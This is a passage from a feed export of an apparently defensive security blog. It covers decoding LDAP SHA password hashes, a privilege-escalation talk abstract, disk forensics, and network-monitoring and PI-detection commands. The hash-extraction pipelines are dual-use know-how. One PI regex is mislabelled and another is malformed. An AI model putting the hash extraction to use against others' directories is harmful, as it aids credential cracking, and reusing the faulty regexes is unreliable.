W6ph5Mm5Pz8GgiULbPgzG37mj9g= |base64 -d - |fdump -&lt;br /&gt;&lt;br /&gt;IBM Directory Server, while based on OpenLDAP, implements a botched version of this. Instead of base64 encoding the SHA hash only, they encode the "{SHA}" prefix as well. Example:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;userpassword:: e1NIQX1bqmHkybk/PwaCJQts+DMbfuaP2A==&lt;br /&gt;&lt;br /&gt;The SHA hash can be extracted in the same manner by cutting the hex for "{SHA}" (7b 53 48 41 7d) from the result:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;echo -n e1NIQX1bqmHkybk/PwaCJQts+DMbfuaP2A== |base64 -d - |fdump - |cut -c 11-&lt;br /&gt;&lt;br /&gt;FTW, let's convert the IBM Directory Server userpassword field back to the OpenLDAP format:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;echo -n e1NIQX1bqmHkybk/PwaCJQts+DMbfuaP2A== |base64 -d - |fdump - |cut -c 11- |xxd -r -p |base64 |awk '{print"{SHA}"$1}'&lt;br /&gt;&lt;br /&gt;This is called "taking it back". At $30,000 per IBM Directory Server license, I highly recommend it!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-4747008869029932741?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/4747008869029932741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=4747008869029932741' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/4747008869029932741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/4747008869029932741'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/06/decoding-openldap-ibm-directory-server.html' title='Decoding OpenLDAP &amp; IBM Directory Server password hashes'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-7754166201467521536</id><published>2010-06-13T16:56:00.003-04:00</published><updated>2010-07-22T14:04:16.905-04:00</updated><title type='text'>Windows privilege escalation talk at first Defcon 802!</title><content type='html'>Slide deck is available here:&amp;nbsp;&lt;a href="http://pdfcast.org/download/escalating-privileges-through-runas-processes.pdf"&gt;http://pdfcast.org/download/escalating-privileges-through-runas-processes.pdf&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;DC802: &lt;a href="http://dc802.org/?p=64"&gt;http://dc802.org/?p=64&lt;/a&gt;&lt;a href="http://pdfcast.org/download/escalating-privileges-through-runas-processes.pdf"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-7754166201467521536?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/7754166201467521536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=7754166201467521536' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7754166201467521536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7754166201467521536'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/06/windows-privilege-escalation-talk-at.html' title='Windows privilege escalation talk at first Defcon 802!'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-8317344649162407857</id><published>2010-04-18T20:13:00.001-04:00</published><updated>2010-07-22T14:05:30.137-04:00</updated><title type='text'>Windows Privilege Escalation Talk - BSides Boston</title><content type='html'>Presented on Saturday, April 24, 4pm @ Security BSides Boston:&lt;br /&gt;&lt;br /&gt;# &lt;b&gt;Title: Escalating privileges through Secondary Logon (RunAs) processes&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# Abstract:&lt;/b&gt; The scenario: You target a sysadmin PC and obtain a backdoor shell through a browser exploit, PDF with embedded payload, or similar client-side vector. However, because the organization is using RunAs best practices, your shell is running with limited user privileges. Some RunAs-invoked programs are running under the sysadmin's Domain Admin account, but you can't directly migrate to these processes from a limited user shell. The RunAs framework indicates that a user-level process should not be allowed to send commands to a greater privilege process. Sounds fairly solid, but as always, there are exceptions..&lt;br /&gt;&lt;br /&gt;Slide deck is available here: &lt;a href="http://pdfcast.org/download/escalating-privileges-through-runas-processes.pdf"&gt;http://pdfcast.org/download/escalating-privileges-through-runas-processes.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;bSides Boston: &lt;a href="http://www.securitybsides.com/BSidesBostonTalks"&gt;http://www.securitybsides.com/BSidesBostonTalks&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-8317344649162407857?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/8317344649162407857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=8317344649162407857' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/8317344649162407857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/8317344649162407857'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2010/04/windows-privilege-escalation-talk.html' title='Windows Privilege Escalation Talk - BSides Boston'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-5272987937348113206</id><published>2009-09-09T22:04:00.005-04:00</published><updated>2009-09-09T22:11:19.067-04:00</updated><title type='text'>Forensics: Recovering a 12-year old floppy disk with DD</title><content type='html'>&lt;span style="font-family: trebuchet ms; font-size: small;"&gt;True story. Earlier this year I was handed a 12-year old floppy disk loaded with bad sectors and unmountable due to a missing/corrupted partition table. A lost cause? Nope. DD can still image the raw media, skipping unreadable sectors and padding the output file with zeros to keep file structures intact wherever possible. &lt;br /&gt;&lt;br /&gt;I booted up a Helix Live CD and ran:&lt;br /&gt;&lt;strong&gt;dcfldd if=/dev/fd0 of=floppy.img bs=4k conv=noerror,sync&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;After much grinding and hissing, DD finished with a fully intact 1.4MB floppy disk image. Almost made me want to scour through my old floppy collection. Almost..&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-5272987937348113206?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/5272987937348113206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=5272987937348113206' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/5272987937348113206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/5272987937348113206'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/09/forensic-recovering-12-year-old-floppy.html' title='Forensics: Recovering a 12-year old floppy disk with DD'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-7317334838779344043</id><published>2009-08-22T19:16:00.002-04:00</published><updated>2009-08-22T19:18:02.676-04:00</updated><title type='text'>NSM: Parsing HTTP sessions with tcpflow</title><content type='html'>&lt;span style="font-family: trebuchet ms; font-size: small;"&gt;&lt;b&gt;:: Show HTTP requests, replies, etc:&lt;/b&gt; tcpflow -i &lt;i&gt;[interface]&lt;/i&gt; -c -s port 80 | grep HTTP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-size: small;"&gt;&lt;b&gt;:: Show all readable HTTP strings: &lt;/b&gt;tcpflow -i &lt;i&gt;[interface]&lt;/i&gt; -c -s port 80 | grep -v "\.\."&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-size: small;"&gt;&lt;b&gt;:: Save HTTP flows to local files:&lt;/b&gt; tcpflow -i &lt;i&gt;[interface]&lt;/i&gt; -s port 80&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-7317334838779344043?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/7317334838779344043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=7317334838779344043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7317334838779344043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7317334838779344043'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/nsm-parsing-http-sessions-with-tcpflow.html' title='NSM: Parsing HTTP sessions with tcpflow'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-245413622699428371</id><published>2009-08-22T18:43:00.008-04:00</published><updated>2009-08-22T19:11:59.387-04:00</updated><title type='text'>NSM: PI detection with grep utils</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Here's a simple way to monitor network traffic for compliance with &lt;/span&gt;&lt;span style="font-size: small;"&gt;state &amp;amp; federal privacy regulations&lt;/span&gt;&lt;span style="font-size: small;"&gt;. Monitoring is especially important on perimeter ISP links, where PI can be seen flying naked into the public Internet.. how embarrassing!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;These Ngrep commands will detect unencrypted SSNs and credit card numbers passing through a network:&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Spaced SSNs: &lt;/b&gt;ngrep -d [interface] -q -t '(\s|^)([0-6]\d\d|7[0-256]\d|73[0-3]|77[0-2]) \d{2} \d{4}(\s|$)'&lt;br /&gt;&lt;b&gt;:: Dashed SSNs: &lt;/b&gt;ngrep -d &lt;/span&gt;&lt;span style="font-size: small;"&gt;[interface]&lt;/span&gt;&lt;span style="font-size: small;"&gt; -q -t '(\s|^)(6011|5[1-5]\d{2}|4\d{3}|3\d{3})-\d{4}-\d{4}-\d{4}(\s|$)'&lt;br /&gt;&lt;b&gt;:: Dashed CCs (16-digit):&lt;/b&gt; &lt;/span&gt;&lt;span style="font-size: small;"&gt;ngrep -d &lt;/span&gt;&lt;span style="font-size: small;"&gt;[interface]&lt;/span&gt;&lt;span style="font-size: small;"&gt; -q -t '(\s|^)(6011|5[1-5]\d{2}|4\d{3}|3\d{3})-\d{4}-\d{4}-\d{4}(\s|$)'&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;:: Non-spaced &lt;/span&gt;&lt;span style="font-size: small;"&gt;CCs&amp;nbsp; (16-digit)&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;: &lt;/b&gt;ngrep -d &lt;/span&gt;&lt;span style="font-size: small;"&gt;[interface]&lt;/span&gt;&lt;span style="font-size: small;"&gt; -q -t '(\s|^)(6011|5[1-5]\d{2}|4\d{3}|3\d{3})\d{12}(\s|$)'&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;Storing unencrypted PI on disk is also a big no-no. Here's how to detect these:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Spaced/dashed SSNs: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;pcregrep -r "(\D?\W)([0-6]\d\d|7[0-256]\d|73[0-3]|77[0-2])( |-)\d{2}( |-)\d{4}\D" [folder/drive/network path to search]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Spaced/dashed CCs:&lt;/b&gt; pcregrep -r "(\D?\W)(6011|5[1-5]\d{2}|4\d{3}|3\d{3})( |-)\d{4}( |-)\d{4}( |-)\d{4}\D" [folder/drive/network path to search]&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-245413622699428371?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/245413622699428371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=245413622699428371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/245413622699428371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/245413622699428371'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/nsm-simple-pi-detection-with-ngrep.html' title='NSM: PI detection with grep utils'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-3069090220644320866</id><published>2009-08-22T17:49:00.003-04:00</published><updated>2009-08-22T17:54:09.827-04:00</updated><title type='text'>NSM: Simple network change detection with nmap</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;I run this daily to see network adds/changes. &lt;/span&gt;&lt;span style="font-size: small;"&gt;MAC address changes are also detected, which is useful for spotting ARP cache poisoning and changes to system hardware.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;1. Create a baseline list of network hosts: &lt;/b&gt;&lt;br /&gt;nmap -R -sP --system-dns 192.168.1.* -oN temp.txt&lt;br /&gt;grep -v # temp.txt | grep -v "appears to be down" &amp;gt; baseline_hosts.txt&lt;br /&gt;rm temp.txt&lt;br /&gt;&lt;br /&gt;&lt;b&gt; 2. Then, save an updated list of hosts, and compare this against the baseline list:&lt;/b&gt;&lt;br /&gt;nmap -R -sP --system-dns 192.168.1.* -oN temp.txt&lt;br /&gt;grep -v # temp.txt | grep -v "appears to be down" &amp;gt; current_hosts.txt&lt;br /&gt;rm temp.txt&lt;br /&gt;grep -v -x -F -f baseline_hosts.txt current_hosts.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-3069090220644320866?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/3069090220644320866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=3069090220644320866' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3069090220644320866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3069090220644320866'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/network-security-monitoring-simple.html' title='NSM: Simple network change detection with nmap'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-7602808647591331193</id><published>2009-08-22T17:09:00.001-04:00</published><updated>2009-08-22T17:54:38.221-04:00</updated><title type='text'>NSM: Web/email traffic analysis with Bro-IDS</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 email senders: &lt;/b&gt;grep "FROM: " [Bro_mime.log] | egrep -o "\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6}" | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 email recipients: &lt;/b&gt;grep "TO: " [Bro_mime.log] | egrep -o "\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6}" | sort | uniq -c | sort -nr | head -n 10&lt;b&gt; &lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 web browser/client apps: &lt;/b&gt;cat [Bro_http.log] | grep -i user-agent | cut -f6- -d' ' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 web servers (based on HTTP objects): &lt;/b&gt;cat [Bro_http.log] | grep "HOST: " | awk '{ print$5 }' | sort | uniq -c | sort -nr | head -n 10 &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 DNS A-record queries: &lt;/b&gt;cat [Bro_dns.log] | grep "query ?A" | awk '{ print$6 }' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 HTTP server response codes: &lt;/b&gt;cat [Bro_http.log] | pcregrep -o '\(\d{3} "' | cut -c 2-5 | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: HTTP POST/GET counts: &lt;/b&gt;cat [Bro_http.log] | pcregrep -o "POST|GET" | sort | uniq -c | sort -nr&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-7602808647591331193?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/7602808647591331193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=7602808647591331193' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7602808647591331193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7602808647591331193'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/network-security-monitoring-webemail.html' title='NSM: Web/email traffic analysis with Bro-IDS'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-3846641194947361090</id><published>2009-08-22T16:30:00.001-04:00</published><updated>2009-08-22T18:01:06.659-04:00</updated><title type='text'>NSM: Top 10s with Argus!</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Top 10 web servers: &lt;/b&gt;ra -nn -r [argus_file] -s daddr - tcp and dst port 80 &lt;/span&gt;&lt;span style="font-size: small;"&gt;| awk '{print$1}' &lt;/span&gt;&lt;span style="font-size: small;"&gt;| sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 FTP servers: &lt;/b&gt;ra -nn -r [argus_file] -s daddr - tcp and dst port 21 &lt;/span&gt;&lt;span style="font-size: small;"&gt;| awk '{print$1}' &lt;/span&gt;&lt;span style="font-size: small;"&gt;| sort | uniq -c | sort -nr | head -n 10&lt;b&gt; &lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 SMTP servers: &lt;/b&gt;ra -nn -r [argus_file] -s daddr - tcp and dst port 25 &lt;/span&gt;&lt;span style="font-size: small;"&gt;| awk '{print$1}' &lt;/span&gt;&lt;span style="font-size: small;"&gt;| sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 SMTP clients: &lt;/b&gt;ra -nn -r [argus_file] -s saddr - tcp and dst port 25 &lt;/span&gt;&lt;span style="font-size: small;"&gt;| awk '{print$1}' &lt;/span&gt;&lt;span style="font-size: small;"&gt;| sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 protocols: &lt;/b&gt;ra -n -r [argus_file] -s proto | awk '{print$1}' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 TCP ports: &lt;/b&gt;ra -nn -r [argus_file] -s dport - tcp | awk '{print$1}' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 UDP ports: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;ra -nn -r [argus_file] -s dport - udp | awk '{print$1}' | sort | uniq -c | sort -nr | head -n 10&amp;nbsp;&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 source (client) IPs: &lt;/b&gt;ra -nn -r [argus_file] -s saddr - not arp | awk '{print$1}' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 destination (server) IPs: &lt;/b&gt;ra -nn -r [argus_file] &lt;/span&gt;&lt;span style="font-size: small;"&gt;-s daddr - not arp | awk '{print$1}' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Top 10 host-pairs: &lt;/b&gt;ra -nn -r [argus_file] -s proto saddr dir daddr | grep -v man | awk '{print$2$3$4}' | sort | uniq -c | sort -nr | head -n 10&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-3846641194947361090?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/3846641194947361090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=3846641194947361090' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3846641194947361090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3846641194947361090'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/network-security-monitoring-top-10s.html' title='NSM: Top 10s with Argus!'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image 